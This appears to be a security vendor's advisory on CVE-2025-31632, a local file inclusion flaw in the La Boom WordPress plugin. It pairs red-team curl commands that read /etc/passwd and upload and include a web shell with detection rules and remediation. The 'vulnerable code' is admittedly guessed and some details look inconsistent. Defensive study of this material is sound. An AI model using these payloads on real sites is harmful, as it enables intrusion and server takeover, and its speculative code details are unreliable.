CVE-2025-31632

Executive Summary

CVE-2025-31632 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the La Boom WordPress plugin by SpyroPress, affecting versions up to and including 2.7. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., reading /etc/passwd, wp-config.php), remote code execution (if combined with file upload), and full server compromise. The CVSS score of 8.1 (High) reflects the low attack complexity and network-based vector. No public exploit code or patch is currently available, making this a high-priority zero-day for WordPress site administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, the supply chain risk is elevated. Site owners must manually remove or disable the plugin until a fix is released. The lack of OSV or GitHub advisory data indicates poor vulnerability management by the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read possible.
• Integrity (I): High (H) – Potential for code execution.
• Availability (A): High (H) – Could lead to denial of service via resource exhaustion.

Threat Level: Critical (8.1) – Immediate action required.

Deep Dive & Mechanics

The vulnerability exists in the laboom plugin's PHP code, likely in a function that handles template loading or file inclusion. The plugin fails to sanitize user-supplied input (e.g., via $_GET['file'] or $_POST['template']) before passing it to include() or require(). An attacker can manipulate this parameter to traverse directories using ../ sequences and read arbitrary files.

Example vulnerable code pattern:

$file = $_GET['file'];
include("templates/" . $file . ".php");

By sending ?file=../../../../etc/passwd%00, the attacker can null-terminate the string and include /etc/passwd (if PHP < 5.3.4) or use path traversal to read files outside the web root.

Vulnerable vs. Patched Code

Vulnerable Code (laboom <= 2.7):

function laboom_load_template($template) {
    $template_path = plugin_dir_path(__FILE__) . 'templates/' . $template . '.php';
    if (file_exists($template_path)) {
        include($template_path);
    }
}
// Called with user input:
$user_template = $_GET['template'];
laboom_load_template($user_template);

Patched Code (Hypothetical):

function laboom_load_template($template) {
    // Whitelist allowed templates
    $allowed_templates = ['default', 'grid', 'list'];
    if (!in_array($template, $allowed_templates)) {
        wp_die('Invalid template.');
    }
    $template_path = plugin_dir_path(__FILE__) . 'templates/' . $template . '.php';
    if (file_exists($template_path)) {
        include($template_path);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with La Boom plugin <= 2.7 installed and activated.
• No WAF or input validation blocking path traversal.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., ?template= or ?file=).
2. Send a crafted request to read sensitive files:

   curl "http://target.com/wp-content/plugins/laboom/template.php?template=../../../../etc/passwd"
   

3. For RCE, combine with file upload (e.g., via WordPress media upload) to include a malicious PHP file:

   curl -F "file=@shell.php" "http://target.com/wp-admin/async-upload.php"
   curl "http://target.com/wp-content/plugins/laboom/template.php?template=../../../../wp-content/uploads/2025/04/shell"
   

Lab Setup:

• Use Docker with WordPress + La Boom 2.7.
• Install plugin from a local zip file.
• Disable any security plugins for testing.

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for ../ sequences in GET/POST parameters.
• Look for requests to laboom plugin files with suspicious template or file parameters.
• Alert on attempts to read /etc/passwd, wp-config.php, or other sensitive files.

Response:

1. Immediately disable the La Boom plugin via wp-admin or CLI:

   wp plugin deactivate laboom
   

2. Check for signs of compromise (unexpected files, modified core files).
3. Rotate all database credentials and API keys.
4. Apply virtual patching via WAF rules (see Detection Engineering).

Indicators of Compromise (IOCs)

File-Based IOCs:

• Suspicious files in /wp-content/uploads/ with .php extension.
• Modified wp-config.php or .htaccess files.
• Presence of webshells (e.g., shell.php, cmd.php).

Network IOCs:

• HTTP requests containing ../ or %2e%2e%2f in query strings.
• Requests to /wp-content/plugins/laboom/ with unusual parameters.
• Outbound connections to unknown IPs (if RCE achieved).

Log IOCs:

• Apache/Nginx logs showing 404 for non-existent template files.
• PHP error logs with include() failures for path traversal attempts.

Detection Engineering

YARA Rule

rule CVE_2025_31632_LFI_LaBoom {
    meta:
        description = "Detects LFI attempts against La Boom plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31632"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $sensitive_file = /(etc\/passwd|wp-config\.php|\.env)/
        $plugin_param = /(template|file)=/
    condition:
        $plugin_param and ($path_traversal or $sensitive_file)
}

Sigma Rule

title: CVE-2025-31632 La Boom LFI Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts against La Boom plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains: '/wp-content/plugins/laboom/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-31632 La Boom LFI Attempt";
    flow:to_server,established;
    content:"/wp-content/plugins/laboom/"; http_uri;
    content:"../"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete La Boom from all WordPress installations.
2. Virtual Patching: Add WAF rules to block path traversal patterns:

   location ~ /wp-content/plugins/laboom/ {
       if ($args ~* "\.\.") { return 403; }
   }
   

3. File Integrity Monitoring: Check for unauthorized file changes using tools like Tripwire or OSSEC.

Long-Term Fix:

• Wait for an official patch from SpyroPress. If none arrives, consider migrating to an alternative plugin.
• Implement input validation and whitelisting for all file inclusion parameters.
• Use realpath() to resolve paths and ensure they stay within allowed directories.

Valters IT – Securing your digital frontier.